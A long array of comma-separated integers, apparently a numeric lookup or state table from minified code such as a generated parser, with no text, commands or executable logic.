498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,74174,37318,37318,37318,37318,37318,52120,37296,74401,74403,37318,37318,74392,74419,36991,37318,37318,41289,37087,37318,37318,74464,37318,37318,74485,37318,37318,59413,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,74504,37116,37202,37162,74529,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,37318,37318,37318,37318,37318,74564,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,69205,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,41324,41542,41542,41542,58552,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,65960,37318,37318,37318,37318,74599,74601,37318,37318,70178,74617,37014,37318,37318,37318,37318,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,74641,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,72228,37116,37202,37162,74643,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,74659,39048,39078,39105,39169,39156,39172,39188,39089,39218,46272,55484,39265,39291,55476,39311,74721,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,1,24578,3,0,0,0,0,0,0,0,180524,180524,180524,180524,0,188717,0,188717,180524,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,180524,180524,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,368,188717,180524,188717,188717,188717,188717,188717,131072,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,188717,139264,147456,188717,188717,188717,188717,188717,188717,188717,1,24578,3,0,0,4366336,0,0,0,180524,188717,302,303,0,0,307,0,0,0,307,0,0,0,4931584,0,0,0,0,0,0,2367,0,0,0,0,0,0,0,0,0,1854,0,0,0,0,0,0,4268032,306,307,0,0,0,0,0,0,0,0,0,0,0,0,0,302,0,0,0,0,0,0,4268032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,262144,0,0,4857856,4874240,0,0,4923392,0,0,0,0,0,0,0,0,0,341,0,0,0,0,0,0,0,0,0,0,5840896,5849088,0,0,0,0,0,0,0,0,0,0,328,0,0,375,375,405,0,0,0,6275072,0,0,0,0,0,0,0,368,368,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,450560,0,0,0,0,4857856,0,0,0,0,0,0,0,0,0,0,0,0,5259264,0,0,0,0,0,0,0,0,5414912,0,5447680,0,5464064,0,5414912,5447680,0,0,5562368,5636096,5685248,0,5750784,5873664,0,0,0,0,5636096,5873664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5873664,0,0,0,0,0,0,0,0,0,0,0,6275072,0,0,0,914,0,0,0,0,0,4857856,4874240,0,0,0,0,0,0,0,0,0,0,0,0,5447680,0,5464064,0,5480448,5562368,0,0,0,5636096,0,5685248,0,0,5750784,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,0,0,0,990,0,0,0,4841472,0,0,0,4898816,0,4358144,4358144,4358144,4358144,4358144,4358144,5414912,4358144,5447680,4358144,5464064,4358144,5480448,5562368,4358144,4358144,4358144,5636096,4358144,5636096,4358144,5685248,4358144,4358144,5750784,4358144,4358144,4358144,4358144,4358144,5873664,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4923392,4358144,4358144,4358144,4358144,4358144,0,4923392,0,0,0,0,4366336,0,0,0,0,418,0,0,0,0,0,0,0,0,0,0,0,4276224,1258,0,0,0,5603328,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,341,0,0,5341184,0,5652480,0,0,0,0,0,0,0,0,0,0,4759552,4358144,4358144,4358144,4358144,4358144,5242880,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5341184,4358144,4358144,4358144,4358144,4358144,4358144,0,0,5808128,4358144,4358144,4358144,4825088,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5627904,5652480,4358144,5701632,4358144,4358144,5808128,4358144,4358144,4358144,5668864,0,0,5791744,0,0,0,0,0,0,0,0,0,0,6201344,6242304,6250496,0,0,0,0,6422528,0,0,0,0,0,0,0,0,0,0,351,0,0,0,0,0,0,5619712,0,0,0,0,0,0,0,5726208,5758976,0,0,5791744,0,0,0,0,0,3664,0,0,0,0,0,0,0,0,0,0,5111808,0,0,0,0,0,5283840,0,0,0,0,0,5816320,6291456,0,0,0,0,0,0,0,0,0,0,0,0,2389,0,2391,2392,0,0,0,0,6062080,6463488,0,5398528,0,0,6479872,0,0,0,0,0,0,0,3459,0,0,0,3463,0,0,0,0,0,0,6463488,0,0,0,0,0,0,0,0,0,0,0,0,0,303,0,0,0,0,4931584,4939776,0,0,0,0,0,0,5054464,0,0,0,0,0,0,0,0,5210112,0,0,0,5210112,0,0,0,0,5292032,0,0,0,0,5365760,0,0,0,5455872,0,0,5816320,0,5857280,0,0,0,0,0,0,0,0,0,0,0,0,0,327,401,0,6119424,0,6168576,0,0,0,0,0,6242304,0,6291456,0,6316032,0,0,0,0,0,0,0,4358144,4358144,4931584,4939776,4358144,4358144,4358144,4358144,4358144,4358144,5054464,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5210112,4358144,4358144,4358144,4358144,4358144,4358144,5210112,4358144,4358144,4358144,4358144,5292032,4358144,4358144,4358144,4358144,5365760,4358144,4358144,4358144,5455872,4358144,4358144,4358144,4358144,4358144,4358144,5455872,4358144,4358144,4358144,4358144,4358144,5554176,5570560,5578752,5619712,5668864,4358144,4358144,4358144,5791744,5816320,4358144,5857280,4358144,4358144,4358144,4358144,5816320,4358144,5857280,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,0,0,0,6119424,4358144,6168576,4358144,4358144,4358144,4358144,4358144,6242304,4358144,6291456,4358144,6316032,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6463488,0,4358144,4358144,4358144,4358144,4358144,4358144,6463488,4358144,4358144,4358144,4358144,4358144,0,0,0,0,0,4825088,0,0,0,0,0,0,0,6184960,5316608,0,0,5644288,0,0,0,0,0,0,0,0,0,0,646,755,756,757,0,0,6217728,0,0,0,0,0,0,0,0,0,0,5390336,5308416,5488640,0,0,0,0,0,0,0,0,0,5799936,0,0,5881856,0,0,0,0,0,0,0,0,0,351,352,353,0,0,0,0,5070848,5431296,0,6430720,0,0,0,0,0,0,0,0,5160960,0,0,0,0,0,0,6053888,0,0,0,0,0,5013504,0,0,0,0,0,0,6053888,0,0,0,4358144,4358144,5013504,4358144,4358144,4358144,0,0,0,0,4841472,0,0,0,4898816,0,0,0,0,0,0,1851,0,1853,0,0,0,0,0,0,0,0,4825088,0,0,0,0,0,0,0,0,2786,0,0,0,0,0,0,0,0,2809,0,0,0,0,0,0,0,0,2834,0,0,0,0,0,0,0,0,3154,0,0,0,0,0,0,0,0,3167,3168,0,0,0,0,0,0,0,0,0,6283264,6332416,0,0,0,5881856,0,5382144,0,0,0,0,0,0,0,3665,3666,0,0,0,0,0,0,0,665,0,644,0,0,0,0,0,0,0,6266880,4784128,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4915200,4358144,4956160,4972544,4358144,4358144,4358144,4358144,4358144,4358144,5070848,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5218304,4358144,5267456,4358144,4358144,4358144,6184960,4358144,4358144,6283264,4358144,4358144,6332416,4358144,4358144,4358144,6389760,4358144,4358144,6430720,6438912,4358144,4358144,4358144,6266880,6488064,0,0,0,6266880,0,0,4915200,0,4956160,4972544,0,0,0,0,0,0,5070848,0,0,0,0,0,0,0,5218304,0,5267456,0,0,0,0,5218304,0,5267456,0,0,5308416,5316608,0,0,0,5431296,0,5488640,0,0,0,0,0,0,0,0,6332416,0,0,0,6389760,0,0,6430720,6438912,0,0,0,0,0,0,4784128,0,0,0,4849664,0,0,0,0,0,4915200,0,4956160,4972544,0,0,0,6430720,6438912,4784128,4358144,4358144,4358144,4849664,4358144,4358144,4358144,4358144,4358144,4915200,4358144,4358144,0,0,0,0,0,0,0,0,0,0,302,0,303,306,5218304,4358144,5267456,4358144,4358144,5308416,5316608,4358144,4358144,4358144,5431296,4358144,5488640,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5799936,4358144,4358144,5881856,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6103040,4358144,4358144,4358144,6103040,4358144,4358144,4358144,6184960,4358144,4358144,4358144,6283264,4358144,4358144,6332416,4358144,4358144,0,0,0,0,0,0,0,0,0,368640,0,0,0,0,0,0,2411,0,0,0,0,0,0,0,0,0,1256,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4931584,4939776,6488064,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,357,5660672,5718016,0,5865472,0,0,6037504,0,0,6078464,0,0,6340608,0,6455296,0,0,0,0,420,420,420,420,597,597,420,420,420,420,420,420,420,420,420,420,420,420,420,0,420,0,0,0,0,5472256,0,0,0,6209536,0,0,0,0,6176768,0,0,0,0,0,0,6373376,6389760,0,0,6488064,6103040,0,0,0,0,0,0,1850,0,0,0,0,0,0,0,0,0,662,0,0,0,0,0,0,0,0,0,4898816,0,5709824,0,0,0,5283840,0,0,0,0,5251072,0,6414336,5832704,0,5955584,0,0,4358144,4358144,4841472,4358144,4358144,4358144,4898816,4358144,4358144,4358144,4358144,4358144,4358144,0,0,0,0,0,0,303,0,0,0,4358144,5472256,5521408,4358144,4358144,4358144,5595136,5709824,5718016,4358144,5824512,5865472,4358144,4358144,5922816,4358144,4358144,6021120,4358144,6037504,4358144,4358144,6078464,6111232,4358144,6176768,6209536,6234112,4358144,4358144,4358144,4358144,5283840,0,0,0,0,5472256,5521408,0,0,0,0,5595136,5709824,5718016,0,5824512,5865472,0,0,5865472,0,0,5922816,0,0,6021120,0,6037504,0,0,6078464,6111232,0,6176768,6209536,0,6234112,0,0,6234112,0,0,0,0,0,0,0,4358144,4358144,4841472,4358144,4358144,4358144,4898816,4358144,5283840,4358144,4358144,4358144,4358144,5472256,5521408,4358144,4358144,4358144,4358144,5595136,5709824,5718016,4358144,4358144,0,0,0,0,0,5193728,0,0,0,0,0,0,0,0,4358144,4358144,6209536,4358144,6234112,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,573440,0,0,5890048,0,0,0,6160384,0,5095424,5349376,0,5275648,0,0,0,0,0,0,2308,0,0,0,0,0,0,0,0,0,139264,147456,0,0,344064,0,0,0,0,4997120,0,0,0,0,0,0,0,0,0,0,5947392,0,0,0,0,0,3675,0,0,0,0,0,0,0,0,4012,528,5103616,4358144,4358144,5201920,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5890048,4358144,4358144,4358144,6029312,4358144,4358144,4358144,4358144,6160384,4358144,4358144,4358144,4358144,4358144,4358144,6406144,0,5103616,0,0,5201920,0,0,0,0,0,0,0,0,0,0,0,5890048,0,0,0,0,6029312,0,0,0,0,6160384,0,0,0,0,0,0,0,6406144,6406144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4997120,4358144,4358144,5038080,4358144,4358144,4358144,5095424,5095424,5103616,4358144,4358144,5201920,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,0,5013504,0,4358144,6406144,4358144,4358144,4358144,0,0,0,4890624,0,0,0,0,0,0,0,0,3209,0,0,3212,0,0,0,0,0,0,5898240,5963776,0,0,6193152,0,0,5406720,6397952,5300224,5234688,5423104,0,0,0,0,0,3675,0,0,0,0,0,4009,0,4011,528,528,0,0,0,0,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58815,57893,57893,0,0,5988352,0,0,6135808,6307840,0,5996544,4800512,0,6356992,0,0,0,0,0,0,2317,2318,0,2320,2321,0,0,0,0,0,0,1207,0,1209,0,0,368,368,0,0,0,0,0,0,0,0,0,710,0,0,0,0,0,0,0,0,5496832,0,0,0,0,0,5611520,0,0,0,0,0,0,0,3673,0,0,0,0,0,0,0,0,693,0,0,0,0,0,0,368,4947968,5021696,5529600,0,0,5169152,0,0,0,4800512,4808704,4358144,4358144,4890624,4358144,4947968,4358144,4358144,4358144,5898240,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6307840,4358144,4358144,6356992,6381568,5185536,0,5234688,5300224,0,0,5406720,5529600,0,0,0,0,5898240,0,0,0,0,0,0,0,0,6307840,0,0,6356992,6381568,6397952,4800512,4808704,4358144,4358144,4890624,4358144,4947968,4358144,4358144,4358144,5046272,4358144,4358144,4358144,4358144,5185536,4358144,5234688,5300224,4358144,4358144,5406720,5529600,4358144,4358144,4358144,4358144,5898240,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6307840,4358144,4358144,6356992,6381568,6397952,5021696,4358144,4358144,5021696,0,0,0,4980736,0,0,0,0,0,5373952,5734400,6045696,0,0,0,0,421,421,421,421,421,421,421,421,421,421,421,421,421,0,421,0,6258688,6447104,0,0,6127616,0,6348800,5906432,0,5537792,3675,4882432,0,0,0,0,0,0,2329,0,0,0,0,0,0,0,0,0,1195,0,0,0,0,0,0,0,0,0,0,5939200,0,0,5677056,6365184,4866048,0,6070272,5545984,5152768,0,0,0,0,0,3675,0,0,0,0,4008,0,4010,0,528,4013,6144e3,4358144,4866048,4882432,4358144,4980736,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5324800,5373952,5537792,5545984,5586944,5734400,5971968,4358144,6045696,4358144,6070272,4358144,4358144,5537792,5545984,5734400,5971968,4358144,6045696,4358144,6070272,4358144,4358144,4358144,6348800,0,4866048,4882432,0,0,0,0,644,0,0,0,803,0,808,0,794,0,820,0,0,0,0,735,0,0,0,0,0,0,0,0,0,0,0,450560,450560,0,0,450560,0,6045696,0,6070272,0,0,0,0,6348800,0,4866048,4882432,0,4980736,0,0,0,0,0,0,0,0,5324800,5373952,5537792,5545984,5586944,5734400,5971968,0,6045696,0,6070272,0,0,0,0,6348800,4358144,4866048,4882432,4358144,4980736,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6299648,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6348800,4358144,6144e3,0,6144e3,0,4988928,5005312,0,0,0,0,5775360,0,0,0,0,749,0,0,0,0,0,0,0,0,0,0,759,0,0,3675,0,0,0,0,0,0,5693440,0,6496256,5144576,5136384,0,5914624,4358144,6324224,0,0,5005312,0,0,0,512e4,5136384,0,0,0,0,0,0,0,1252,0,0,0,748,1259,0,0,0,0,0,0,0,6324224,0,0,5005312,0,0,0,512e4,5136384,0,0,0,0,0,0,6463488,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6324224,5914624,5914624,0,0,0,0,0,5513216,5783552,0,3675,0,0,0,0,0,0,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4931584,4939776,4358144,4358144,4358144,0,6053888,0,0,0,0,0,0,0,0,6012928,4358144,4358144,5013504,4358144,4358144,0,0,0,0,0,0,0,0,0,0,0,1153,0,0,0,0,0,3675,0,0,4006,4007,0,0,0,0,528,528,528,528,3220,528,528,528,528,528,528,3227,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6053888,4358144,4358144,0,0,5013504,0,0,0,0,0,312,414,0,0,139264,147456,0,0,0,0,0,0,0,6103040,0,0,0,6184960,0,0,0,6283264,0,0,6332416,0,0,0,6389760,4358144,4358144,4358144,4358144,4358144,4358144,6053888,4358144,4358144,4358144,0,0,0,0,5193728,0,0,0,0,761,0,0,0,0,0,0,0,0,0,0,528,528,528,3700,528,528,528,5742592,0,0,0,0,0,4358144,4907008,4358144,5079040,4358144,5226496,4358144,5742592,4358144,4358144,4358144,6094848,4358144,5062656,0,0,0,0,0,4358144,4358144,6094848,0,4907008,0,5079040,0,5226496,0,5742592,0,0,0,6094848,0,0,0,0,0,3675,0,4005,0,0,0,0,0,0,528,528,528,528,4155,528,528,528,528,528,528,4907008,0,5079040,0,5226496,0,5742592,0,0,0,6094848,0,4358144,4907008,4358144,5079040,5062656,4358144,4358144,4358144,4358144,4358144,0,5062656,0,0,0,0,0,6225920,0,5062656,4358144,4358144,4358144,4358144,4358144,913,5063569,913,913,913,913,913,6226833,989,5063645,0,0,0,4816896,4358144,4358144,4358144,4358144,6086656,4816896,0,0,0,0,6086656,4816896,4358144,4358144,4358144,4358144,6086656,0,5087232,0,5931008,4358144,5332992,5980160,4358144,0,5332992,5980160,0,0,5332992,5980160,0,4358144,5332992,5980160,4358144,0,0,0,0,787,0,0,0,0,806,0,0,0,0,0,0,0,3166,0,0,0,0,0,0,0,0,327,0,0,0,0,0,0,0,5439488,5128192,4358144,5128192,0,5128192,0,5128192,4358144,0,4358144,0,0,4358144,0,4358144,0,0,4358144,6004736,6004736,6004736,6004736,6004736,0,0,0,1,24578,3,0,0,0,0,0,0,0,0,0,0,0,0,0,339,340,0,0,221652,221652,221652,468,468,468,468,468,468,468,468,468,468,468,468,221652,468,221652,221652,221652,468,221652,221652,221652,221652,221652,221652,221652,221652,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1162,0,0,1164,0,0,0,0,0,0,0,0,1311,0,0,0,0,0,1179,0,0,0,762,0,0,0,0,0,0,0,0,0,0,0,0,0,383,0,0,0,0,1064,0,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,913,913,913,4358144,4358144,1064,0,0,0,0,0,0,0,0,0,0,0,0,0,507,514,514,1,24578,3,0,0,0,0,0,0,0,0,0,0,0,237568,302,0,306,237568,0,0,0,0,0,0,0,0,0,0,0,0,0,643,0,0,4268032,98304,307,0,0,0,0,0,0,0,0,0,0,0,0,0,661,0,0,4210979,24578,3,0,0,297,0,0,0,0,297,0,0,0,0,0,0,0,3685,0,0,0,3688,3689,0,0,0,0,0,245760,245760,245760,0,0,0,0,139264,147456,245760,245760,0,0,245760,0,4210979,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1164,1297,0,0,0,0,0,0,1304,0,0,0,0,0,2859,0,0,0,0,0,0,0,0,0,2867,368,368,0,0,0,303104,0,0,0,0,0,0,0,0,0,0,647,0,0,0,0,528,1158,0,4857856,4874240,0,0,4923392,0,0,0,0,0,0,0,0,0,379,0,0,0,0,371,0,4358144,4358144,4358144,4358144,0,1984,0,0,0,4825088,0,0,0,0,0,0,0,1253,0,0,0,0,0,0,0,0,2399,2400,0,0,2402,0,0,0,0,0,262144,262144,262144,0,0,0,0,0,0,0,0,0,0,0,0,3449,0,0,0,0,0,262144,262144,0,262144,0,0,0,139264,147456,262144,0,0,0,0,0,0,2344,2345,0,0,0,0,0,0,0,0,798,0,0,0,0,0,809,0,0,0,262144,0,262738,262738,262738,262738,262738,262738,262738,262738,262738,262738,262738,262738,262738,0,262738,0,0,262738,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1177,0,0,0,0,0,0,0,0,0,0,0,4086,528,528,528,528,0,270336,0,0,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5177344,278528,278528,0,0,131072,278528,0,0,0,0,278528,0,0,0,0,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,0,278528,0,0,278528,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1205,1206,0,0,0,0,0,368,368,0,0,0,0,0,0,0,0,0,0,0,712,0,0,0,0,1,24578,3,0,0,4366336,0,0,0,0,0,302,638,0,0,0,0,1218,0,0,0,0,1223,0,0,0,0,0,0,0,1752,0,0,0,1755,0,0,1758,0,4268032,306,641,0,0,0,0,0,0,0,0,0,0,0,0,0,662,0,0,528,0,1430,0,0,0,0,0,4857856,4874240,0,0,0,0,0,0,0,0,3686,0,0,0,0,0,0,0,0,3826,0,3675,0,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,0,0,0,1525,0,0,0,0,0,3675,4004,0,0,0,0,0,0,0,528,528,4209,528,4210,528,528,528,528,528,1,24578,3,0,0,0,0,0,0,